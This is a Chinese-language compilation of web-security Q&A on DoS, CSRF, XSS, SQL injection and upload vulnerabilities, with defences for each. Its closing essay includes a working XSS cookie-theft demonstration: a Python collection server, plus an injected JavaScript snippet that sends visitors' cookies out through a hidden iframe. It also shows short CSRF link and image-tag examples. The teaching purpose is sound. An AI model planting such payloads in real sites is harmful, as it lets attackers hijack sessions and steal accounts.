本文目录一览:
- 1、web攻击有哪些?怎么防护?
- 2、招商网银出现严重漏洞,是否泄露了所有人的信息
- 3、网站被入侵了传了webshell怎么办
- 4、xss攻击危害有哪些
- 5、什么是url攻击,浏览网页时杀软提示拦截url攻击,url攻击是什么样的,被
- 6、前端安全方面有没有了解?xss和csrf如何攻防
web攻击有哪些?怎么防护?
1、DoS和DDoS攻击(DoS(Denial of Service),即拒绝服务,造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击)
防范:(1) 反欺骗:对数据包的地址及端口的正确性进行验证,同时进行反向探测。(2) 协议栈行为模式分析:每个数据包类型需要符合RFC规定,这就好像每个数据包都要有完整规范的着装,只要不符合规范,就自动识别并将其过滤掉。(3) 特定应用防护:非法流量总是有一些特定特征的,这就好比即便你混进了顾客群中,但你的行为还是会暴露出你的动机,比如老重复问店员同一个问题,老做同样的动作,这样你仍然还是会被发现的。(4) 带宽控制:真实的访问数据过大时,可以限制其最大输出的流量,以减少下游网络系统的压力。
2、CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。
防范:(1) 验证码。应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制CSRF攻击。但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。(2) Referer Check。HTTP Referer是header的一部分,当浏览器向web服务器发送请求时,一般会带上Referer信息告诉服务器是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律,如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面,来判断是不是CSRF攻击。但在某些情况下如从https跳转到http,浏览器处于安全考虑,不会发送referer,服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞,那么攻击者可以在其他网站注入恶意脚本,受害者进入了此类同域的网址,也会遭受攻击。出于以上原因,无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。(3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。这种方法相比Referer检查要安全很多,token可以在用户登陆后产生并放于session或cookie中,然后在每次请求时服务器把token从session或cookie中拿出,与本次请求中的token 进行比对。由于token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时,当某个页面消耗掉token后,其他页面的表单保存的还是被消耗掉的那个token,其他页面的表单提交时会出现token错误。
3、XSS(Cross Site Scripting),跨站脚本攻击。为和层叠样式表(Cascading Style Sheets,CSS)区分开,跨站脚本在安全领域叫做“XSS”。
防范:(1) 输入过滤。永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等。这样可以初步对XSS漏洞进行防御。上面的措施只在web端做了限制,攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制,修改请求注入攻击脚本。因此,后台服务器需要在接收到用户输入的数据后,对特殊危险字符进行过滤或者转义处理,然后再存储到数据库中。(2) 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。(3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作,同时要避免使用客户端数据,这些操作需尽量在服务器端使用动态页面来实现。(4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。(5)WAF(Web Application Firewall),Web应用防火墙,主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发,在企业环境中深受欢迎。
4、SQL注入(SQL Injection),应用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)时,攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
防范:(1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off,防止php脚本出错之后,在web页面输出敏感信息错误,让攻击者有机可乘。(2) 数据转义。设置php.ini选项magic_quotes_gpc=on,它会将提交的变量中所有的’(单引号),”(双引号),\(反斜杠),空白字符等都在前面自动加上\。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。(3) 增加黑名单或者白名单验证。白名单验证一般指,检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指,若在用户输入中,包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时,一般会配合黑名单验证。
5、上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。
防范: (1)检查服务器是否判断了上传文件类型及后缀。 (2) 定义上传文件类型白名单,即只允许白名单里面类型的文件上传。 (3) 文件上传目录禁止执行脚本解析,避免攻击者进行二次攻击。 Info漏洞 Info漏洞就是CGI把输入的参数原样输出到页面,攻击者通过修改输入参数而达到欺骗用户的目的。
招商网银出现严重漏洞,是否泄露了所有人的信息
招商银行的网银存漏洞早在三年前就曾被质疑。2014年7月30日,乌云漏洞平台指出,招商银行网银存在定向XSS漏洞,通杀网页、PC端及手机APP,该漏洞可定向窃取信息钓鱼种马。互联网业内人士对此解释称,此漏洞即招行网银某处存储型XSS漏洞,黑客可以通过此漏洞,对招行客户进行“钓鱼”、偷密码,并且可以看到账号余额。不过,招商银行回应称,该行网银有USBKey、动态口令等安全措施的严密保护,客户正常使用不会导致信息泄露和资金损失,请客户放心使用。
网站被入侵了传了webshell怎么办
如何防止网站被上传WebShell网页木马?
1 )网站服务器方面,开启系统自带的防火墙,增强管理员账户密码强度等,更改远程桌面端口,定期更新服务器补丁和杀毒软件。
2)定期的更新服务器系统漏洞(windows 2008 2012、linux centos系统),网站系统升级,尽量不适用第三方的API插件代码。
3)如果自己对程序代码不是太了解的话,建议找网站安全公司去修复网站的漏洞,以及代码的安全检测与木马后门清除,国内推荐SINE安全公司、绿盟安全公司、启明星辰等的网站安全公司,做深入的网站安全服务,来保障网站的安全稳定运行,防止网站被挂马之类的安全问题。
4)尽量不要把网站的后台用户的密码设置的太简单化,要符合10到18位的大小写字母+数字+符号组合。
5)网站后台管理的路径一定不能用默认的admin或guanli或manage 或文件名为admin.asp的路径去访问。
6)服务器的基础安全设置必须要详细的做好,端口的安全策略,注册表安全,底层系统的安全加固,否则服务器不安全,网站再安全也没用
xss攻击危害有哪些
、对于那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用
2、但是在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中,造成的杀伤力却十分强大。
3、劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。
4、又可以称为“框架钓鱼”。利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。
5、挂马(水坑攻击)
6、有局限性的键盘记录
概念
跨站脚本 ( Cross-Site Scriptin ) 简称xss,是由于Web应用程序对用户的输入过滤不足而产生的.攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端 Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击.
危害
1、网络钓鱼,包括盗取各类用户账号;
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4、强制弹出广告页面、刷流量等;
5、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
6、进行大量的客户端攻击,如DDoS攻击;
7、获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
8、控制受害者机器向其他网站发起攻击;
9、结合其他漏洞,如CSRF漏洞,实施进一步作恶;
10、提升用户权限,包括进一步渗透网站;
11、传播跨站脚本蠕虫等;
什么是url攻击,浏览网页时杀软提示拦截url攻击,url攻击是什么样的,被
有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。
1)表单数据泄漏攻击
这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:)
2)语义URL攻击
这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:;email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据
3)文件上传攻击
文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。
4)跨站脚本攻击
跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。
所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入script document.location = ’’ + document.cookie/script,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。
5)HTTP请求欺骗攻击
所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。
毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已
前端安全方面有没有了解?xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。